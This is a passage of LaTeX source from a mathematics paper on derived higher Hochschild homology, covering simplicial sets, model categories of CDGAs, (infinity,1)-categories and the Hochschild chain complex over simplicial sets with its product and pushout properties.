\item We work with a cohomological grading (unless otherwise stated) for all our (co)homology groups and graded spaces, even when we use subscripts to denote the grading. In particular, all differentials are of degree $+1$, of the form $d:A^i\to A^{i+1}$ and the homology groups $H_i(X)$ of a space $X$ are concentrated in non-positive degree.
\item \label{convention7}
We will denote by $CH_{X_\com}^n(A)$ the \emph{Hochschild chain complex} over $X_\com$ with value in $A$ of \emph{total} degree $n$. This Hochschild chain complex was noted differently in the papers~\cite{G,GTZ}. We choose this notation in order to put emphasis on the \emph{covariance} of the Hochschild chain functor with respect to $X_\com$ and the fact that we are considering cohomological degree.
\end{enumerate}
\subsection{Simplicial sets}
\label{S:Delta}
Denote by $\Delta$ the category whose objects are the ordered sets $[k]=\{0,1,\dots,k\}$, and morphisms $f:[k]\to [l]$ are non-decreasing maps $f(i)\geq f(j)$ for $i>j$. In particular, we have the morphisms $\delta_i:[k-1]\to[k], i=0,\dots, k$, which are injections that miss $i$ and we have surjections $\sigma_j:[k+1]\to [k], i=0,\dots,k$, which send $j$ and $j+1$ to $j$.
A \emph{simplicial set} is by definition a contravariant functor from $\Delta$ to the category of sets $\Sets$ or written as a formula, $Y_\com:\Delta^{op}\to\Sets$. Denote by $Y_k=Y_\com([k])$, and call its elements simplicies. The image of $\delta_i$ under $Y_\com$ is denoted by $d_i:=Y_\com(\delta_i):Y_{k}\to Y_{k-1}$, for $i=0,\dots,k$, and is called the $i$th face. Similarly, $s_i:=Y_\com(\sigma_i):Y_{k}\to Y_{k+1}$, for $i=0,\dots,k$, is called the $i$th degeneracy. An element in $Y_k$ is called a degenerate simplex, if it is in the image of some $s_i$, otherwise it is called non-degenerate.
A simplicial set is said to be \emph{finite} if $Y_k$ is finite for every object $[k]\in \Delta$. A \emph{pointed} simplicial set
is a contravariant functor into the category $\Sets_*$ of pointed finite sets, $Y_\com:\Delta^{op}\to \Sets_*$. In particular, each $Y_k=Y_\com([k])$ has a preferred element called the base point, and all differentials $d_i$ and degeneracies $s_i$ preserve this base point.
A morphism of (finite or not, pointed or not) simplicial sets is a natural transformation of functors $f_\com:X_\com\to Y_\com$. Thus $f_\com$ is given by a sequence of maps $f_k:X_k\to Y_k$ (preserving the base point in the pointed case), which commute with the faces $f_k d_i = d_i f_{k+1}$, and degeneracies $f_{k+1} s_i=s_i f_{k}$ for all $k\geq 0$ and $i=0,\dots, k$.
\smallskip
One of the most important construction for us is the pushout.
\begin{definition}\label{D:wedge}
Let $X_\com, Y_\com$, and $Z_\com$ be simplicial sets, and let $f_\com:Z_\com\to X_\com$ and $g_\com:Z_\com\to Y_\com$ be maps of simplicial sets. We define the wedge $W_\com=X_\com\cup_{Z_\com} Y_\com$ of $X_\com$ and $Y_\com$ along $Z_\com$ as the simplicial space given by $W_k= (X_k \cup Y_k)/\sim$, where $\sim$ identifies $f_k(z)=g_k(z)$ for all $z\in Z_k$. The face maps are defined as $d^{W_\com}_i(x)=d^{X_\com}_i(x), d^{W_\com}_i(y)=d^{Y_\com}_i(y)$ and the degeneracies are $s^{W_\com}_i(x)=s^{X_\com}_i(x), s^{W_\com}_i(y)=s^{Y_\com}_i(y)$ for any $x\in X_k \hookrightarrow W_k$ and $y\in Y_k \hookrightarrow W_k$. It is clear that $W_\com$ is well-defined and there are simplicial maps $X_\com\stackrel{i_\com}\to W_\com$ and $Y_\com\stackrel{j_\com}\to W_\com$.
If $X_\com$ is a pointed simplicial set, then we can make $W_\com$ into a pointed simplicial set by declaring the base point to be the one induced from the inclusion $X_\com\to W_\com$. (Note that this is in particular the case, when $X_\com, Y_\com, Z_\com, f_\com$ and $g_\com$ are in the pointed setting.)
\end{definition}
\subsection{Commutative Differential Graded Algebras} \label{S:CDGA}
We let $\cdga$ be the category of commutative differential graded algebras (over the characteristic zero field $k$). We do not assume the underlying chain complexes of our algebras to be bounded since in practice, it happens that one has to consider the Hochschild chains of de Rham forms on a space, which is generally $\Z$-graded. We follow the approach of~\cite[Chapter 1.1]{ToVe} and~\cite{Hi} for the model category properties of $\cdga$ and modules over CDGAs. Recall from~\cite[Section 2.3]{Ho}, that there is a standard cofibrantly generated closed model category structure on the category of unbounded chain complexes for which fibrations are epimorphisms and (weak) equivalences are quasi-isomorphisms. It is further a symmetric monoidal model category with respect to the tensor products of chain complexes.
Since we work in characteristic zero, there is a standard closed model category structure on $\cdga$~\cite[Theorem 4.1.1]{Hi} as well, for which fibrations are epimorphisms and (weak) equivalences are quasi-isomorphisms (of CDGAs).
The category $\cdga$ also has a monoidal structure given by the tensor product (over the ground field $k$) of differential graded commutative algebras, which makes $\cdga$ a symmetric monoidal model category. Note that since $k$ is assumed to be a field, this monoidal structure is given by an exact bifunctor.
Also note that $\cdga$ is simplicially enriched. Indeed, given $A,B \in \cdga$, we can form $\text{Map}_{\cdga}(A,B)$ the simplicial set of maps $[n]\mapsto \mathop{Hom}_{\cdga}(A, B\otimes \Omega^*(\Delta^n))$ (where $\Omega^*(\Delta^n)$ is the CDGA of forms on the $n$-dimensional standard simplex).
For any CDGA $A$, one can consider its category of \emph{differential graded (left) modules}, that we will denote by $A\textit{-}Mod$. Again it has a natural model category structure with fibrations being epimorphisms and weak equivalences being quasi-isomorphisms. Further all assumptions in~\cite[Chapter 1.1]{ToVe} are satisfied. In particular, the tensor product of $A$-modules makes $A\textit{-}Mod$ a symmetric monoidal model category (in the sense of~\cite{Ho}) such that the functor $M\otimes_A -$ preserves weak equivalences when $M$ is cofibrant. Moreover, for any CDGA $A$, the category $A-\cdga$ of differential graded commutative $A$-algebra, in other words commutative monoid objects in $A\textit{-}Mod$, has a natural structure of proper model category such that, for any cofibrant $A$-algebra $B$, the base change functor $B\otimes_A -: A\textit{-}Mod \to B\textit{-}Mod$ preserves weak equivalences~\cite[Chapter 1.1]{ToVe}.
\def \Top {Top}
\def \hTop {Top_{\infty}}
\subsection{Dwyer-Kan localization and $(\infty,1)$-categories}\label{S:DKL}
The $(\infty,1)$-categories that we are concerned about in this paper arise from model categories structures via the Dwyer-Kan localization turning them into simplicial categories. Indeed simplicial categories are model for $(\infty,1)$-categories~\cite{Be1}. We now explain briefly how one gets $(\infty,1)$-categories out of model categories such as those considered in Section~\ref{S:Delta},~\ref{S:CDGA} above.
Following~\cite{Re,L-TFT}, by an $(\infty,1)$-category we mean a \textit{complete Segal space}. Rezk has shown that the category of simplicial spaces has a (simplicial closed) model structure, denoted $\CSS$ such that a complete Segal space is precisely a fibrant object for this model structure~\cite[Theorem 7.2]{Re}.
Note that there is also a (simplicial closed) model category structure, denoted $\SeSp$, on the category of simplicial spaces such that a fibrant object in the $\SeSp$ structure is precisely a Segal space. We let $\mathbb{R}:\SeSp \to \SeSp$ be a fibrant replacement functor. Rezk~\cite{Re} has defined a completion functor $X_\bullet \to \widehat{X_\bullet}$ which, to a Segal space, associates an equivalent complete Segal space. Thus, the composition $X_\bullet \mapsto \widehat{\mathbb{R}(X_\bullet)}$ gives a (fibrant replacement in the model category $\CSS$) functor $L_{\CSS}$ from simplicial spaces to complete Segal spaces.
It remains to explain how to go from a model category to a simplicial space. The standard key idea is to use Dwyer-Kan localization. Let $\mathcal{M}$ be a model category and $\mathcal{W}$ be its subcategory of weak-equivalences. We denote $L^H(\mathcal{M},\mathcal{W})$ its \emph{hammock localization}, see \cite{DK}. One of the main property of $L^H(\mathcal{M},\mathcal{W})$ is that it is a simplicial category and that the (usual) category $\pi_0(L^H(\mathcal{M},\mathcal{W}))$ is the homotopy category of $\mathcal{M}$. Further, every weak equivalence has a (weak) inverse in $L^H(\mathcal{M},\mathcal{W})$. When $\mathcal{M}$ is further a simplicial model category, then for every pair $(x,y)$ of objects $\mathop{Hom}_{L^H(\mathcal{M},\mathcal{W})}(x,y)$ is naturally homotopy equivalent to the derived mapping space $ \mathbb{R}Hom (x,y)$.
It follows that any model category $\mathcal{M}$ gives functorially rise to the simplicial category
$L^H(\mathcal{M},\mathcal{W})$. Taking the nerve $N_\bullet(L^H(\mathcal{M},\mathcal{W}))$ we obtain a simplicial space. Composing with the complete Segal Space replacement functor we get a functor $\mathcal{M}\to L_\infty(\mathcal{M}):= L_{\CSS}(N_\bullet(L^H(\mathcal{M},\mathcal{W})))$ from model categories to $(\infty,1)$-categories (that is complete Segal spaces).
\begin{example} \label{E:hsset}Applying the above procedure to the model category of simplicial sets $\sset$, we obtain the $(\infty,1)$-category $\hsset$. Similarly from the model category $\cdga$ of CDGAs we obtain the $(\infty,1)$-category $\hcdga$.
Note that a simplicial set is determined by its $(\infty, 0)$ path groupoid and therefore the category of simplicial sets should be thought of as the $(\infty, 1)$ category of all $(\infty, 0)$ groupoids. Further, the tensor product (over $k$) of algebras is a monoidal functor which gives $\cdga$ a structure of monoidal model category, see~\cite{Ho}. Thus $\hcdga$ also inherits the structure of a symmetric monoidal $(\infty,1)$-category in the sense of~\cite{Re,L-TFT}. Similarly, the disjoint union of simplicial sets endows $\sset$ and $\hsset$ with symmetric monoidal structures.
The model category of topological spaces yields the $(\infty,1)$-category $\hTop$. Since $\sset$ and $\Top$ are Quillen equivalent~\cite{GoJa,Ho}, the associated $(\infty,1)$-categories are equivalent (as $(\infty,1)$-categories): $\hsset \stackrel{\sim}{\underset{\sim}{\rightleftarrows}} \hTop$, where the left and right equivalences are respectively induced by the singular set and geometric realization functors.
One can also consider the pointed versions ${\hsset}_*$ and ${\hTop}_*$ of the above $(\infty,1)$-categories (using the model categories of these pointed versions~\cite{Ho}).
\end{example}
\begin{example} \label{E:Amod} As recalled in Section~\ref{S:CDGA}, there are model categories categories
$A\textit{-}Mod$ and $A\text{-}\cdga$ of modules and commutative algebras over a CDGA $A$. Thus the above procedure
gives us $(\infty,1)$-categories $A\textit{-}Mod_\infty$ and $A\textit{-}\cdga_\infty$ and the base change functor
lifts to an $(\infty,1)$-functor. Further, if $f: A\to B$ is a weak equivalence, the natural
functor $f_*:B\textit{-}Mod \to A\textit{-}Mod$ induces an equivalence $B\textit{-}Mod_\infty \stackrel{\sim}\to A\textit{-}Mod_\infty$
of $(\infty,1)$-categories since it is a Quillen equivalence.
Moreover, if $f:A\to B$ is a morphism of CDGAs, it induces a natural functor
$f^*:A\textit{-}Mod \to B\textit{-}Mod, M\mapsto M\otimes_A B$, which is an equivalence of $(\infty,1)$-categories
when $f$ is a quasi-isomorphism, and is a (weak) inverse of $f_*$ (see~\cite{ToVe} or~\cite{KM}).
Here we also (abusively) denote $f^*:A\textit{-}Mod_\infty \to B\textit{-}Mod_\infty$ and $f_*:B\textit{-}Mod_\infty \to A\textit{-}Mod_\infty$ the
(derived) functors of $(\infty,1)$-categories induced by $f$.
Since we are working over a field of characteristic zero, the same results applies to monoids in
$A\textit{-}Mod$ and $B\textit{-}Mod$, that is to the categories $A\text{-}\hcdga$ and $B\text{-}\hcdga$.
Also note that, if $f:A\to B$, $g:A\to C$ are CDGAs homomorphisms, we can form
the (homotopy) pushout $D\cong B\otimes^{\mathbb{L}}_{A} C$.
Let us denote $p: B\to D$ and $q:C\to D$
the natural CDGAs maps. We thus get two natural base change ($(\infty,1)$-)functors
$C\textit{-}Mod_\infty \underset{p_*\circ q^*}{\stackrel{f^*\circ g_*}\rightrightarrows} B\textit{-}Mod_\infty$. Given any $M\in C\textit{-}Mod$,
the natural map $ f^*\circ g_*(M) \to p_*\circ q^*(M)$ is an
equivalence~\cite[Proposition 1.1.0.8]{ToVe}.
The $(\infty,1)$-category $\hcdga$ is \emph{tensored} over $\hsset$ (and thus $\hTop$ as well) as follows from~\cite[\S 4.4.4]{Lu11}. We refer to~\cite{Lu11, L-VI} for tensored $(\infty,1)$-categories (which is the obvious analogue of the classical notion of tensored categories over $\Top$ or $\sset$); we simply recall that an $(\infty,1)$-category $\mathcal{C}$ is tensored over $\hsset$ if there exists an $(\infty,1)$-functor $\mathcal{C} \times \hsset \to \mathcal{C}$, denoted $(C, X_\bullet)\mapsto C\boxtimes X_\bullet$, together with natural equivalences
$$Map_{\mathcal{C}}\big(C\boxtimes X_\bullet, D\big) \; \cong \; Map_{\hsset}\big(X_\com, Map_{\mathcal{C}}\big(C, D\big)\big). $$
In fact, the tensor $A\boxtimes X_\bullet$ is precisely realized by the Hochschild derived functor, see Theorem~\ref{T:derivedfunctor}.
\end{example}
\begin{example}\label{E:EnOperad}
We denote $E_n\textit{-}Alg_\infty$ the $(\infty,1)$-category of $E_n$-algebras which is given by algebras over any $E_n$-($\infty$-)operads as introduced in~\cite[Section 5.1]{L-VI} in the symmetric monoidal ($(\infty,1)$-)category $(\hkmod,\otimes)$. It is equivalent to the $(\infty,1)$-category associated to model categories (deduced for instance from~\cite[Theorem 4.1.1]{Hi}) of algebras over the usual operad of singular chains on the little $n$-dimensional disk operad or as algebras over the Barratt-Eccles operad (which is an Hopf operad)~\cite{BF}.
\end{example}
\begin{remark} \label{R:non-unique} There are other functors that yields a complete Segal space out
of a model category. For instance, one can use the classification diagram of Rezk~\cite{Re}.
Let again $\mathcal{M}$ be a model category and, for any integer $n$, let $\mathcal{M}^{[n]}$ be
the (model) category of $n$-composables morphisms, that is the category fo functors from the poset
$[n]$ to $\mathcal{M}$. The \emph{classification diagram} of $\mathcal{M}$ is the simplicial space
$n\mapsto N_\bullet(\mathcal{W}e(\mathcal{M}^{[n]}))$ where $\mathcal{W}e(\mathcal{M}^{[n]})$ is
the subcategory of weak equivalences of $\mathcal{M}^{[n]}$. Then taking a \emph{Reedy} fibrant
replacement yields another complete Segal space
$N_\bullet(\mathcal{W}e(\mathcal{M}^{[n]}))^{f}$~\cite[Theorem 6.2]{Be2}, \cite[Theorem 8.3]{Re}.
It is known that the Segal space $N_\bullet(\mathcal{W}e(\mathcal{M}^{[n]}))^{f}$ is equivalent
to $L_{\CSS}(N_\bullet(L^H(\mathcal{M},\mathcal{W})))$~\cite{Be2}.
\smallskip
More generally, there are several model for $(\infty,1)$-categories and several equivalent ways to obtain an $(\infty,1)$-category out of a ``homotopy theory''. We believe the results of this paper can easily be applied to the favorite model of the reader.
\end{remark}
\section{Derived higher Hochschild functor}
\subsection{Naive axiomatic approach to higher Hochschild homology}
\label{S:NaiveHH}
We first recall the standard construction of chain complexes computing higher Hochschild homology (also called Hochschild homology over spaces) following~\cite{P,GTZ}. The higher Hochschild complex is a functor $CH: sSet \times CDGA \to CDGA$. This functor is defined as follows:
the tensor products $A\otimes B$ of two CDGAs has an natural structure of \cdga (in other words, $\cdga$ has a symmetric monoidal structure canonically induced by the underlying tensor product of chain complexes). Furthermore, the multiplication $A\otimes A\to A$ is an algebra homomorphism since $A$ is commutative. It follows that a $\cdga$ can be thought of a strict symmetric monoidal functor from the category of finite sets with disjoint union to the category of chain complexes (whose value on a finite set $J$ is given by $A^{\otimes J}$), which can be extended to the category of all sets by taking colimits. Given a simplicial set $X_\com$, thought of as a functor $\Delta^{op} \to \sset$, compose these two functors to obtain a simplicial complex $X_\com \mapsto A^{\otimes X_\com}$. The total complex (that is the geometric realization $ \big|A^{\otimes X_\com}\big| $) of this simplicial complex is, by definition, $CH^{\com}_{X_\com}(A,A)$. In more details, we get the following explicit definitions.
\begin{definition}\label{D:Hoch}
First let $Y_\com:\Delta^{op}\to \Sets_*$ be a finite pointed simplicial set, and for $k\geq 0$, we set $y_k:=Y_k -\{*\}$ to be the complement of the base point in $Y_k$. Furthermore, let $(A=\bigoplus_{i\in \Z} A^i, d, \com)$ be a differential graded, associative, commutative algebra, and $(M=\bigoplus_{i\in \Z}M^i,d_M)$ a differential graded module over $A$ (viewed as a symmetric bimodule). Then, the
{\bf Hochschild chain complex of $A$ with values in $M$ over $Y_\com$} is defined as\footnote{We recall that we are using a cohomological type grading for our differential graded modules, see Convention (7) on page \pageref{convention7}, hence the upper index $n$. Note that, nowhere in this paper will we consider Hochschild cochains.} $CH^{\com}_{Y_\com}(A,M):=\bigoplus_{n\in \Z} CH^n_{Y_\com}(A,M)$, where $$ CH^n_{Y_\com}(A,M):=\bigoplus_{k\geq 0} (M\otimes A^{\otimes y_k})^{n+k} $$ is given by a sum of elements of total degree $n+k$. In order to define a differential $D$ on $CH_{Y_\com}^{\com}(A,M)$, we define morphisms $d_i:Y_k\to Y_{k-1}$, for $i=0,\dots,k$ as follows. First note that for any map $f:Y_k\to Y_l$ of pointed sets, and for $m\otimes a_1\otimes \dots\otimes a_{y_k}\in M\otimes A^{\otimes y_k}$, we denote by $f_*:M\otimes A^{\otimes y_k}\to M\otimes A^{\otimes y_l}$,
\begin{equation}\label{f_*}
f_*(m\otimes a_1\otimes \dots\otimes a_{y_k})=(-1)^{\epsilon} n\otimes b_1\otimes \dots\otimes b_{y_l},
\end{equation}
where $b_{j}=\prod_{i\in f^{-1}(j)} a_i$ (or $b_j=1$ if $f^{-1}(j)=\emptyset$) for $j=0,\dots,y_{l}$, and $n=m\com \prod_{i\in f^{-1}(\text{basepoint}), i\neq \text{basepoint}}a_i$. The sign $\epsilon$ in equation \eqref{f_*} is determined by the usual Koszul sign rule of $(-1)^{|x|\com |y|}$ whenever $x$ moves across $y$. In particular, there are induced boundaries $(d_i)_*:CH^k_{Y_\com}(A,M)\to CH^{k-1}_{Y_\com}(A,M)$ and degeneracies $(s_j)_*:CH^k_{Y_\com}(A,M)\to CH^{k+1}_{Y_\com}(A,M)$, which we denote by abuse of notation again by $d_i$ and $s_j$. Using these, the differential $D:CH^{\com}_{Y_\com}(A,A)\to CH^{\com}_{Y_\com}(A,A)$ is defined by letting $D(a_0\otimes a_1\otimes \dots\otimes a_{y_k})$ be equal to
\begin{equation*}
\sum_{i=0}^{y_k} (-1)^{k+\epsilon_i} a_0\otimes \dots\otimes d(a_i)\otimes \dots\otimes a_{y_k}+\sum_{i=0}^k (-1)^i d_i (a_0\otimes \dots\otimes a_{y_k}),
\end{equation*}
where $\epsilon_i$ is again given by the Koszul sign rule, \emph{i.e.}, $(-1)^{\epsilon_i}=(-1)^{|a_0|+\cdots+|a_{i-1}|}$. The simplicial conditions on $d_i$ imply that $D^2=0$.
\smallskip
If $Y_\com:\Delta^{op}\to \Sets$ is a finite (not necessarily pointed) simplicial set, we may still define $CH_{Y_\com}^{\com}(A):=\bigoplus_{n\in \Z} CH^n_{Y_\com}(A,A)$ via the same formula as above, $CH^n_{Y_\com}(A,A):=\bigoplus_{k\geq 0} (A\otimes A^{\otimes y_k})_{n+k}$. Formula \eqref{f_*} again induces boundaries $d_i$ and degeneracies $s_i$, which produce a differential $D$ of square zero on $CH^{\com}_{Y_\com}(A,A)$ as above.
\smallskip
If $Y_\com$ is any simplicial set we define
$$CH_{Y_\com}^{\com}(A,M):=\colim_{\small \begin{array}{l}K_\com\to Y_\com, \\ K_\com \mbox{ finite} \end{array}} CH_{K_\com}^{\com}(A,M) $$
as the colimit over all finite simplicial sets. If $Y_\com$ is finite, then this definition agrees with the previous ones thanks to the Yoneda lemma.
\end{definition}
\begin{remark}
Note that due to our grading convention, if $A$ is non graded, or concentrated in degree 0, then $HH_\com^{Y_{\com}}(A,A)$ is concentrated in non positive degrees. In particular, our grading is opposite of the one in~\cite{L}.
\end{remark}
Note that the equation~\eqref{f_*} also makes sense for any map of simplicial pointed sets $f:X_k\to Y_k$.
Since $A$ is graded commutative and $M$ symmetric, $(f\circ g)_* =f_*\circ g_*$, hence $Y_\com \mapsto CH^\com_{Y_\com}(A,M)$ is a functor from the category of finite pointed simplicial sets to the category of simplicial $k$-vector spaces, see~\cite{P}. If $M=A$, $CH^\com_{Y_\com}(A)$ is a functor from the category of finite simplicial sets to the category of simplicial $k$-algebras. \smallskip
Now note that any map $g:A\to B$ of CDGAs and any maps of modules $\rho:M\to N$ over $g:A\to B$, \emph{i.e.} $\rho(am)=g(a)\rho(m)$, induces a map $CH_{Y_\com}^{\com}(g,\rho): CH_{Y_\com}^{\com}(A,M)\to CH_{Y_\com}^{\com}(B,N)$ of simplicial vector spaces.
The chain complex $\left(CH_{Y_\com}^{\com}(A), D\right)$ inherits a structure of (differential graded) algebra. This is a formal consequence of the fact that $CH_{Y_\com}^{\com}(A)$ is a simplicial commutative algebra.
Indeed, given two simplicial vector spaces $V_\com$ and $W_\com$, one defines a simplicial structure on the simplicial space $(V\times W)_k:=V_k\otimes W_k$ using the boundaries $d^V_i\otimes d^W_i$ and degeneracies $s^V_i\otimes s^W_i$. The \emph{shuffle product} is (the collection of) maps $sh:V_p\otimes W_q\to (V\times W)_{p+q}$ defined by $$ sh(v\otimes w)=\sum_{(\mu,\nu)} sgn(\mu,\nu) (s_{\nu_q}\dots s_{\nu_1}(v)\otimes s_{\mu_p}\dots s_{\mu_1}(w)), $$
where $(\mu,\nu)$ denotes a $(p,q)$-shuffle, \emph{i.e.} a permutation of $\{0,\dots,p+q-1\}$ mapping $0\leq j\leq p-1$ to $\mu_{j+1}$ and $p\leq j\leq p+q-1$ to $\nu_{j-p+1}$, such that $\mu_1<\dots<\mu_p$ and $\nu_1<\dots<\nu_q$.
Since $CH^{\com}_{Y_\com}(A,M)$ is a simplicial vector space, we obtain an induced shuffle map $sh:CH_{Y_p}^{\com}(A,M)\otimes CH^{\com}_{Y_q}(B,N) \to CH^{\com}_{Y_{p+q}}(A\otimes B, M\otimes N)$ for any CDGAs $A,B$ and modules $M,N$. Now, since $A$ is a CDGA, the multiplication $\mu:A\otimes A\to A$ is an algebra map, and the map $\nu:M\otimes A\to M$ a map of $A$-modules. Composing these maps with the shuffle products we obtain the
multiplication
$$ sh_{Y_\com}:CH^{\com}_{Y_\com}(A,M)\otimes CH^{\com}_{Y_\com}(A)\stackrel {sh} \to CH^{\com}_{Y_\com}(A\otimes A,M\otimes A)\stackrel {CH_{Y_\com}^{\com}(\mu,\nu)} \longrightarrow CH^{\com}_{Y_\com}(A,M). $$
\begin{proposition}\label{P:shuffleinvariance} The multiplication $sh_{Y_\com}$ makes $CH^{\com}_{Y_\com}(A)$ a differential graded commutative algebra and $CH_{Y_\com}^{\com}(A,M)$ a DG-module over $CH^{\com}_{Y_\com}(A)$, which are natural in $A$ and $M$.
\end{proposition}
\begin{proof} The proof of the algebra structure is given in~\cite[Proposition 2.4.2]{GTZ} and the proof of the module structure is the same
\end{proof}
Note that $CH_{\pt}^{\com}(A)$ is the (chain complex associated to the) constant simplicial CDGA $A$. In particular there is a canonical quasi-isomorphism $\eta: A=CH_{\mathop{pt}_0}^{\com}(A)\to CH_{\pt}^{\com}(A)$ splitting the augmentation map $CH_{\pt}^{\com}(A)\to CH_{\mathop{pt}_0}^{\com}(A)$. It follows from Proposition~\ref{P:shuffleinvariance} above that if $X_\com$ is a pointed simplicial set, the canonical map $\pt \to X_\com $
induces a natural $A$-module structure on $CH_{X_\com}^{\com}(A,M)$ (and an $A$-algebra structure on $CH_{X_\com}^{\com}(A)$). In other words, $CH_{X_\com}^\com (A,M)$ is naturally an $A$-module.
Summing up the previous discussion and proposition we obtain:
\begin{corollary}\label{C:Hfunctor}
The rule $(Y_\com, A)\mapsto (CH^{\com}_{Y_\com}(A),D,sh_{Y_\com})$ is a functor $CH:\sset \times \cdga \to \cdga$. Similarly, the rule $(Y_\com, M)\mapsto (CH^{\com}_{Y_\com}(A,M),D,sh_{Y_\com})$ is a functor $CH:\sset_* \times A\textit{-}Mod \to A\textit{-}Mod$.
\end{corollary}
\begin{definition}\label{D:HH}
The Hochschild homology of a CDGA $A$ over a simplicial set $X_\com$ is the cohomology\footnote{Recall that we are using a cohomological type grading for our differential graded modules, see Convention (7) on page \pageref{convention7}.} $HH_{X_\com}^{\com}(A)=H^\bullet(CH_{X_\com}^{\com}(A),D)$ of the CDGA $(CH_{X_\com}^{\com}(A),D, sh)$ as a commutative graded algebra.
Further if $X_\bullet$ is pointed and $M$ is an $A$-module, the Hochschild homology of $A$ with value in $M$ over $X_\com$ is the homology $HH_{X_\com}^{\com}(A,M)=H^*(CH_{X_\com}^{\com}(A,M),D)$ as a graded module over $HH_{X_\com}^{\com}(A)$.
\end{definition}
Now let $X$ be a \emph{topological space}, we define the Hochschild homology of a $CDGA$ $A$ over $X$ to be $HH^\com_{S_\com(X)}(A)$ where $$S_\com(X)=\mathop{Map}(\Delta^\bullet, X)$$ is the singular simplicial set of $X$. If $X$ is pointed, then $S_\com(X)$ is a pointed simplicial set and we define the Hochschild homology of a $CDGA$ $A$ with value in an $A$-module $M$ over $X$ to be $HH^\com_{S_\com(X)}(A,M)$.
The Hochschild chain functor satisfies the following properties which allows to build \emph{explicitly and easily} these chain complexes out of other simplicial sets and do computations (for instance, see~\cite{P,G,GTZ}).
\begin{proposition}[Tensor Products of CDGAs and disjoint union of simplicial sets] \label{P:tensor}Let $A,B$ be two CDGAs. For any $X_\com\in \sset$, there is a canonical isomorphism
$$CH^{\com}_{X_\com}(A\otimes B) \cong CH^{\com}_{X_\com}(A)\otimes CH^{\com}_{X_\com}(B) $$ of CDGAs. Further for any simplicial set $Y_\com$, one has a natural isomorphism
$$ CH^{\com}_{X_\com \coprod Y_\com}(A) \cong CH^{\com}_{X_\com}(A)\otimes CH^{\com}_{Y_\com}(A)$$ of CDGAs and a natural isomorphism of modules $$ CH^{\com}_{X_\com \coprod Y_\com}(A,M) \cong CH^{\com}_{X_\com}(A,M)\otimes CH^{\com}_{Y_\com}(A)$$ if $X_\com$ is a pointed simplicial set.
\end{proposition}
\begin{proof}It follows from the canonical isomorphisms $(A\otimes B)^{\otimes n}\cong A^{\otimes n} \otimes B^{\otimes n}$ and $A^{\otimes n+m}\cong A^{\otimes n}\otimes A^{\otimes m}$.
\end{proof}
Recall that, by functoriality, if $f:Y_\com\to X_\com$ is a map of simplicial sets, then for any CDGA $A$, we have a map of algebra $f_*:CH_{Y_\com}^{\com}(A)\to CH_{X_\com}^{\com}(A)$ which exhibits the Hochschild complex of $A$ over $X_\com$ as a module over the Hochschild complex of $A$ over $Y_\com$.
Let $Z\com \to X_\com$, $Z_\com \to Y_\com$ be two maps of simplicial sets and let $W_\com$ be a pushout $W_\com \cong X_\com \coprod_{Z_\com} Y_\com$.
\begin{proposition}\label{P:pushout}
There is a natural map of simplicial modules \footnote{The tensor product in Proposition~\ref{P:pushout} is the tensor product of (simplicial) modules over the simplicial differential graded commutative algebra $CH_{Z_\com}^{\com}(A,A)$. Passing to the Hochschild chain complexes, it induces a natural map of CDGAs and modules and yield a quasi-isomorphism if $Z_\com$ injects into either $ X_\com$ or $ Y_\com$, see~\cite[Corollary 2.4.3]{GTZ}.}
$$ CH_{X_\com}^{\com}(A,M)\otimes_{CH_{Z_\com}^{\com}(A,A)} CH_{Y_\com}^{\com}(A,A) \to CH_{W_\com}^{\com}(A,M) $$ which is a map of algebras if $M=A$ (with its natural module structure).
If $Z_\com$ injects into either $Z_\com\stackrel {f_\com}\to X_\com$ or $Z_\com\stackrel{g_\com}\to Y_\com$, then this map is in fact an isomorphism of $CH_{W_\com}^{\com}(A)$-modules.
\end{proposition}
\begin{proof} The proof~\cite[Lemma 2.1.6]{GTZ} given in the case $M=A$ applies to any module $M$.
\end{proof}
\begin{corollary}\label{C:Homologyfunctor}
The rule $(X_\com,A)\mapsto HH_{X_\com}^{\com}(A)$ is a functor
$HH:\sset \times \cdga\to \cga$ which satisfies the following axioms
\begin{enumerate}
\item {\bf bimonoidal:} Hochschild homology is monoidal with respect to the monoidal structures given by the disjoint union of simplicial sets and tensor products of algebras. In other words, there are natural isomorphisms:
$$HH_{X_\com \times Y_\com}^{\com}(A)\cong HH_{X_\com}^{\com}\!(A) \otimes HH_{Y_\com}^{\com}(A), \; HH_{X_\com}^{\com}(A\otimes B) \cong HH_{X_\com}^{\com}(A) \otimes HH_{X_\com}^{\com}(B). $$
\item {\bf homotopy invariance :} if $f:X_\com\to Y_\com$ and $g:A\to B$ are (weak) homotopy equivalences, then $HH(f,g):HH_{X_\com}^{\com}(A)\to HH_{Y_\com}^{\com}(B)$ is an isomorphism.
\item {\bf point} There is a natural isomorphism $HH_{pt}^{\com}(A)\cong A$
\end{enumerate}
A similar statement holds with the category of topological spaces instead of simplicial sets, and with the pointed analogs of these categories (as in Corollary~\ref{C:Hfunctor}).
\end{corollary}
\begin{proof}
This follows from Proposition~\ref{P:pushout}, Proposition~\ref{P:tensor}, Corollary~\ref{C:Hfunctor} and Proposition~\ref{P:homologyinvariance} below.
\end{proof}
The axioms listed in the above proposition are \emph{not} enough to uniquely determine Hochschild homology as a functor. Indeed, we are missing an analog of the Excision/Mayer-Vietoris axioms in the classical Eilenberg-Steenrod axioms for singular homology. The analog of this axiom is similar to the \emph{locality axiom} of a Topological Field Theory. In view of Proposition~\ref{P:pushout}, we wish to compute the Hochschild homology over an union of two open sets as the tensor product of the Hochschild homology of each open tensored over the Hochschild homology over their intersection. This forces us to take \emph{derived} tensor products. Thus a better framework for an axiomatic description of Hochschild chains is given by considering derived categories or $(\infty,1)$-categories. We deal with this \emph{locality} axiom in Section~\ref{S:inftyfunctor} below. This axiom translates into an Eilenberg-Moore spectral sequence for Hochschild homology, see Corollary~\ref{C:HlocalitySpecSeq}.
\smallskip
A crucial property of Hochschild chains which allows to pass to homotopy categories, is the fact, proved by Pirashvili~\cite{P}, that the higher Hochschild chain complex is invariant along \emph{quasi-isomorphisms} in both arguments.
\begin{proposition}\label{P:homologyinvariance}[Homotopy and homology invariance] If $f: X_\com \to Y_\com$ is a map of simplicial sets inducing an isomorphism in homology $H_\com (X)\stackrel{\simeq}\to H_\com (Y)$ , then the map $CH_{X_\com}^\com (A, M) \to CH_{Y_\com}^\com (A, M)$ is a quasi-isomorphism.
\smallskip
Further if $h:A\to B$ is a quasi-isomorphism of CDGAs, then the induced map $h_\com : CH_{X_\com}^{\com}(A)\to CH_{X_\com}^{\com}(B)$ is a quasi-isomorphism of CDGAs.
